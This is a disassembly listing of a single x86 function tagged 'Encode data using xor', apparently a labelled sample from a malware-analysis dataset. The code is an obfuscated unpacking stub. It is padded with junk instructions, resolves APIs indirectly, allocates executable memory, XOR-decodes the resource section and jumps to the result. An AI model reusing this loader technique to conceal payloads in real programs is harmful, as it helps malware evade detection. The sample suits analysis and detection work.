Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x77f246e
sub edx, esi
sub edx, esi
and esi, esi
popal
mov esi, edx
mov esi, 0xec549bc1
mov edx, 0x32dad5a3
mov ecx, 0
mov edi, ebx
inc eax
dec esi
sub esi, 0x93a814be
mov edx, edi
or eax, esi
not esi
mov ebx, edx
not esi
add eax, 0xaafd54e4
or esi, eax
inc ecx
add esi, esi
or eax, eax
cmp ecx, 0x1002f1b
jne 0xa789ca
or eax, eax
add eax, 0xa064b9fb
mov eax, esi
add esi, 0xd4c21117
sub edx, 1
mov esi, 0xa78796
inc edx
sub edx, 1
mov ebx, 0xa7898a
sub edi, ecx
add edx, 1
sub edi, edx
mov eax, dword [esi]
or edi, edi
inc edx
sub ecx, 0xb1df2289
and eax, 0xff
add ecx, 1
add ecx, 1
and edi, ecx
xor dword [ebx], eax
sub ecx, 1
sub edi, 0x3c9834d7
inc ebx
add edx, 0x41fbf303
inc edi
sub ecx, edi
add esi, 1
and edi, edi
add edx, 1
not edx
cmp ebx, entry0
jl 0xa78a28
add edi, 0xcf9f6c19
sub ecx, edi
sub edi, 0xb7574ae8
or edx, ecx
mov edx, 0x5934adc2
or ecx, ebx
mov ecx, edx
mov edi, 0xa7898e
mov edx, esi
mov edx, 0xa77ca729
mov edi, dword [edi]
sub esi, ecx
add edx, ecx
mov edi, dword [edi]
mov esi, 0x42d79d0f
dec ebx
sub esp, 4
mov dword [esp], edi
sub ebx, edx
mov esi, 0x403e4469
or ecx, ecx
mov edi, 0xa7898a
or edx, esi
inc ebx
mov edi, dword [edi]
sub ebx, esi
dec ecx
mov edi, dword [edi]
sub ebx, 0xba8ededc
add edx, 0xe0a971db
inc esi
push 0xa78992
sub ebx, edx
not esi
sub edx, 0x554845fe
call edi
add ebx, 0xbcaf4fb6
not edx
or ecx, edx
mov edi, dword [esp]
add esp, 4
add edx, ebx
sub ebx, 1
sub esp, 4
mov dword [esp], 0xa7899f
add ecx, ecx
and esi, ecx
push eax
add esi, 0x26b275e3
add esi, 1
call edi
inc esi
dec ebx
push 0x40
sub edx, ecx
dec ecx
dec edx
push 0x3000
dec esi
mov edx, ebx
or edx, ebx
push 0x200002df
not ecx
add esi, esi
push 0
sub esi, 0x4ee22562
mov ecx, ebx
sub edx, 0xf4933d67
call eax
dec esi
dec ebx
add eax, 0x20000266
sub edx, ecx
add edx, ecx
mov edi, 0x7ef8bc64
not edx
mov edx, 0x5ccba82b
mov dword [eax], edi
mov ebx, 0xd4821c18
mov ebx, 0xf5519e29
mov edi, dword [eax]
mov ebx, ecx
and esi, ebx
cmp edi, 0x7ef8bc64
je 0xa78b8b
mov ebx, 0
mov al, byte [ebx]
add ecx, esi
add esi, 0xb44255ae
sub ecx, esi
add ebx, ecx
and edx, esi
sub ecx, 0x1ade6ad9
not edx
and edx, esi
mov eax, section..rsrc
add esi, 1
add esi, edx
add edx, edx
mov ebx, 0xa78795
sub edx, esi
not edx
dec edx
mov ecx, 0
mov edx, 0xb04d7843
mov esi, 0x7873e7f1
mov edi, 0xa78796
dec esi
sub esi, edx
lea edi, [ecx + edi]
or edx, edx
sub esi, edx
mov edi, dword [edi]
add edx, edx
dec edx
sub esi, edx
and edi, 0xff
mov esi, edx
and edx, esi
not edx
inc ecx
mov edx, 0x98127355
sub edx, 0x8af1e0ac
or esi, edx
cmp ecx, 0x1f4
jne 0xa78c08
mov ecx, 0
add esi, esi
mov edx, esi
or esi, edx
mov edx, esi
inc edx
xor dword [eax], edi
inc edx
sub esi, edx
sub esi, 1
add eax, 2
add edx, 0xf36b3d0d
add edx, esi
add edx, esi
cmp eax, ebx
jl 0xa78bcb
inc esi
sub edx, esi
mov edx, esi
mov esi, 0xfad776d5
mov ecx, section..rsrc
sub esi, edx
or esi, esi
mov edx, esi
mov edi, section..rsrc
sub edx, esi
not esi
mov eax, 0xa78795
mov edx, 0x541a2c45
and edx, esi
mov ebx, 0
add esi, 1
sub edx, esi
mov bl, byte [edi]
inc esi
add edx, 0xb19f120
not esi
mov byte [ecx], bl
and esi, esi
sub esi, 0x68876159
inc esi
inc ecx
sub edx, 0xc484b430
sub esi, 0xc606746d
add edi, 2
sub edx, 0x98972cfd
sub esi, edx
cmp edi, eax
jle 0xa78c6b
mov esi, edx
sub edx, 0xb99613bb
or edx, edx
add esi, 0x2433142c
dec edx
push 0x8dc6a0
mov esi, 0x7200fda1
not edx
ret